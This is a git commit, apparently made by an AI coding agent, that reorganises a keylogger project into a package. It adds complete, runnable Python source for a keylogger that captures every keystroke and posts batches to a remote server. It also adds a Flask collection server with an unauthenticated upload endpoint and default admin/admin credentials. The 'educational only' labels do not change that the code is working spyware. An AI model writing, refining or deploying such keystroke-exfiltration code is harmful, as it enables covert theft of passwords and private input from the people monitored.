Restructure project with organized directories and improved configuration

Co-authored-by: Stalin-143 <161853795+Stalin-143@users.noreply.github.com>
This commit is contained in:
copilot-swe-agent[bot]
2026-01-22 04:19:59 +00:00
parent a50f6fc38e
commit b0246b4e6f
17 changed files with 1354 additions and 95 deletions
+10
View File
@@ -0,0 +1,10 @@
"""
Keylogger Package
Educational keylogging tools for security awareness.
For educational purposes only.
"""
__version__ = '0.2.0'
__author__ = 'Stalin-143'
__license__ = 'See LICENSE file'
+212
View File
@@ -0,0 +1,212 @@
"""
Keylogger Module
Captures keyboard input and sends it to a remote server.
For educational purposes only.
"""
import logging
import os
import sys
import json
import argparse
from pynput.keyboard import Listener, Key
import requests
import time
# ASCII Art Banner
BANNER = r"""
_ __ _
| |/ /___ _ _ | | ___ __ _ __ _ ___ _ __
| ' // _ \ | | | | | / _ \ / _` |/ _` |/ _ \ '__|
| . \ __/ |_| | | |__| (_) | (_| | (_| | __/ |
|_|\_\___|\__, | |_____\___/ \__, |\__, |\___|_|
|___/ |___/ |___/
0.2
GitHub: https://github.com/Stalin-143
"""
class KeyLogger:
"""Keylogger class to handle keyboard input capture and logging."""
def __init__(self, log_file_path, server_url, batch_size=10):
"""
Initialize the KeyLogger.
Args:
log_file_path (str): Path to the log file
server_url (str): URL of the server to send logs to
batch_size (int): Number of keystrokes before sending to server
"""
self.log_file_path = log_file_path
self.server_url = server_url
self.batch_size = batch_size
self.buffer = []
# Ensure the log directory exists
log_dir = os.path.dirname(self.log_file_path)
if log_dir and not os.path.exists(log_dir):
try:
os.makedirs(log_dir, exist_ok=True)
except PermissionError as e:
print(f"PermissionError: {e}")
print("Please ensure you have permission to write to the specified path.")
sys.exit(1)
# Configure logging
logging.basicConfig(
filename=self.log_file_path,
level=logging.DEBUG,
format="%(asctime)s: %(message)s"
)
def send_log_to_server(self):
"""Send buffered log data to the web server."""
if not self.buffer:
return
try:
log_data = ''.join(self.buffer)
response = requests.post(self.server_url, data={"log": log_data}, timeout=10)
if response.status_code == 200:
print("Log sent successfully!")
else:
print(f"Failed to send log. Server responded with status: {response.status_code}")
# Clear the buffer after sending
self.buffer = []
except requests.exceptions.RequestException as e:
print(f"Error sending log: {e}")
def on_press(self, key):
"""
Handle key press events.
Args:
key: The key that was pressed
"""
try:
# Capture the key press and format it
if hasattr(key, 'char') and key.char is not None:
key_str = f"Key pressed: {key.char}"
else:
# Handle special keys
key_str = f"Special key pressed: {key}"
# Log the key
logging.info(key_str)
self.buffer.append(key_str + "\n")
# If buffer reaches batch size, send the log
if len(self.buffer) >= self.batch_size:
self.send_log_to_server()
except Exception as e:
print(f"Error logging key: {e}")
def on_release(self, key):
"""
Handle key release events.
Args:
key: The key that was released
Returns:
False to stop the listener when ESC is pressed
"""
# Stop listener when 'esc' is pressed
if key == Key.esc:
return False
def start(self):
"""Start the keylogger."""
print(BANNER)
print("Keylogger started. Press ESC to stop.")
print(f"Logging to: {self.log_file_path}")
print(f"Server URL: {self.server_url}")
print("-" * 50)
# Start listening for keyboard events
with Listener(on_press=self.on_press, on_release=self.on_release) as listener:
listener.join()
# Send any remaining logs when the listener stops
self.send_log_to_server()
print("\nKeylogger stopped.")
def load_config(config_path):
"""
Load configuration from JSON file.
Args:
config_path (str): Path to the config file
Returns:
dict: Configuration dictionary
"""
try:
with open(config_path, 'r') as f:
return json.load(f)
except FileNotFoundError:
print(f"Error: Config file not found at {config_path}")
print("Please copy config/config.json.example to config/config.json and configure it.")
sys.exit(1)
except json.JSONDecodeError as e:
print(f"Error: Invalid JSON in config file: {e}")
sys.exit(1)
def main():
"""Main function to run the keylogger."""
parser = argparse.ArgumentParser(
description='Keylogger - For educational purposes only',
epilog='Always obtain explicit consent before using monitoring tools.'
)
parser.add_argument(
'--config',
default='config/config.json',
help='Path to configuration file (default: config/config.json)'
)
parser.add_argument(
'--log-file',
help='Override log file path from config'
)
parser.add_argument(
'--server-url',
help='Override server URL from config'
)
parser.add_argument(
'--batch-size',
type=int,
help='Override batch size from config'
)
args = parser.parse_args()
# Load configuration
config = load_config(args.config)
keylogger_config = config.get('keylogger', {})
# Override with command-line arguments if provided
log_file_path = args.log_file or keylogger_config.get('log_file_path', 'logs/keylog.txt')
server_url = args.server_url or keylogger_config.get('server_url', '')
batch_size = args.batch_size or keylogger_config.get('batch_size', 10)
if not server_url:
print("Error: Server URL not configured.")
print("Please set server_url in config/config.json or use --server-url argument.")
sys.exit(1)
# Create and start the keylogger
keylogger = KeyLogger(log_file_path, server_url, batch_size)
keylogger.start()
if __name__ == '__main__':
main()
+300
View File
@@ -0,0 +1,300 @@
"""
Web Server Module
Flask web server to view and download keylogger logs.
For educational purposes only.
"""
import os
import sys
import json
import argparse
from functools import wraps
from flask import Flask, render_template_string, send_file, request, Response
# ASCII Art Banner
BANNER = r"""
__ __ _ ____
\ \ / /__| |__ / ___| ___ _ ____ _____ _ __
\ \ /\ / / _ \ '_ \ \___ \ / _ \ '__\ \ / / _ \ '__|
\ V V / __/ |_) | ___) | __/ | \ V / __/ |
\_/\_/ \___|_.__/ |____/ \___|_| \_/ \___|_|
Github: https://github.com/Stalin-143
"""
app = Flask(__name__)
# Global configuration
CONFIG = {
'log_file_path': 'logs/keylog.txt',
'username': 'admin',
'password': 'admin'
}
def check_auth(username, password):
"""
Check if username and password are valid.
Args:
username (str): Username to check
password (str): Password to check
Returns:
bool: True if valid, False otherwise
"""
return username == CONFIG['username'] and password == CONFIG['password']
def authenticate():
"""Send a 401 response to enable basic auth."""
return Response(
'Unauthorized Access. Please log in with correct credentials.',
401,
{'WWW-Authenticate': 'Basic realm="Login Required"'}
)
def requires_auth(f):
"""
Decorator to enforce authentication on routes.
Args:
f: Function to decorate
Returns:
Decorated function
"""
@wraps(f)
def decorated(*args, **kwargs):
auth = request.authorization
if not auth or not check_auth(auth.username, auth.password):
return authenticate()
return f(*args, **kwargs)
return decorated
# HTML template to display the log contents and provide a download link
HTML_TEMPLATE = '''
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Keylogger Log Viewer</title>
<style>
body {
font-family: Arial, sans-serif;
background-color: #f0f0f0;
margin: 0;
padding: 20px;
}
h1 {
color: #333;
}
pre {
background-color: #fff;
padding: 15px;
border: 1px solid #ccc;
max-height: 400px;
overflow-y: scroll;
}
.button {
padding: 10px 15px;
background-color: #4CAF50;
color: white;
text-align: center;
border: none;
cursor: pointer;
margin-top: 20px;
text-decoration: none;
display: inline-block;
}
.button:hover {
background-color: #45a049;
}
.warning {
background-color: #fff3cd;
border: 1px solid #ffc107;
padding: 10px;
margin-bottom: 20px;
border-radius: 5px;
}
</style>
</head>
<body>
<div class="warning">
<strong>⚠️ Educational Use Only:</strong> This tool is for authorized security testing and educational purposes only.
Unauthorized use is illegal.
</div>
<h1>Log File: {{ log_file_path }}</h1>
<h2>Log File Contents:</h2>
<pre>{{ log_contents }}</pre>
<a href="{{ url_for('download_log') }}" class="button">Download Log File</a>
</body>
</html>
'''
@app.route('/', methods=['GET'])
@requires_auth
def home():
"""
Display the log file contents.
Returns:
HTML page with log contents
"""
log_file_path = CONFIG['log_file_path']
if os.path.exists(log_file_path):
try:
with open(log_file_path, 'r') as file:
log_contents = file.read()
except Exception as e:
log_contents = f"Error reading log file: {e}"
else:
log_contents = "Log file not found."
return render_template_string(
HTML_TEMPLATE,
log_file_path=log_file_path,
log_contents=log_contents
)
@app.route('/download', methods=['GET'])
@requires_auth
def download_log():
"""
Download the log file.
Returns:
File download response or error message
"""
log_file_path = CONFIG['log_file_path']
if os.path.exists(log_file_path):
return send_file(log_file_path, as_attachment=True)
return "Log file not found."
@app.route('/', methods=['POST'])
def receive_log():
"""
Receive log data from keylogger.
Returns:
Success or error message
"""
try:
log_data = request.form.get('log', '')
if log_data:
log_file_path = CONFIG['log_file_path']
# Ensure log directory exists
log_dir = os.path.dirname(log_file_path)
if log_dir and not os.path.exists(log_dir):
os.makedirs(log_dir, exist_ok=True)
# Append log data to file
with open(log_file_path, 'a') as f:
f.write(log_data)
return "Log received successfully", 200
return "No log data provided", 400
except Exception as e:
return f"Error: {str(e)}", 500
def load_config(config_path):
"""
Load configuration from JSON file.
Args:
config_path (str): Path to the config file
Returns:
dict: Configuration dictionary
"""
try:
with open(config_path, 'r') as f:
return json.load(f)
except FileNotFoundError:
print(f"Warning: Config file not found at {config_path}")
print("Using default configuration.")
return {}
except json.JSONDecodeError as e:
print(f"Error: Invalid JSON in config file: {e}")
return {}
def main():
"""Main function to run the web server."""
print(BANNER)
parser = argparse.ArgumentParser(
description='Web Server for Keylogger - For educational purposes only',
epilog='Always obtain explicit consent before using monitoring tools.'
)
parser.add_argument(
'--config',
default='config/config.json',
help='Path to configuration file (default: config/config.json)'
)
parser.add_argument(
'--log-file',
help='Override log file path from config'
)
parser.add_argument(
'--host',
default='0.0.0.0',
help='Host to bind to (default: 0.0.0.0)'
)
parser.add_argument(
'--port',
type=int,
default=5000,
help='Port to bind to (default: 5000)'
)
parser.add_argument(
'--debug',
action='store_true',
help='Enable debug mode'
)
args = parser.parse_args()
# Load configuration
config = load_config(args.config)
server_config = config.get('web_server', {})
# Update global config
CONFIG['log_file_path'] = args.log_file or server_config.get('log_file_path', 'logs/keylog.txt')
# Load credentials from environment variables or config
CONFIG['username'] = os.getenv('WEB_SERVER_USERNAME', 'admin')
CONFIG['password'] = os.getenv('WEB_SERVER_PASSWORD', 'admin')
if CONFIG['password'] == 'admin':
print("⚠️ WARNING: Using default password. Please set WEB_SERVER_PASSWORD environment variable.")
# Get server settings
host = args.host or server_config.get('host', '0.0.0.0')
port = args.port or server_config.get('port', 5000)
debug = args.debug or server_config.get('debug', False)
print(f"\nStarting web server on {host}:{port}")
print(f"Log file path: {CONFIG['log_file_path']}")
print(f"Username: {CONFIG['username']}")
print("-" * 50)
app.run(host=host, port=port, debug=debug)
if __name__ == '__main__':
main()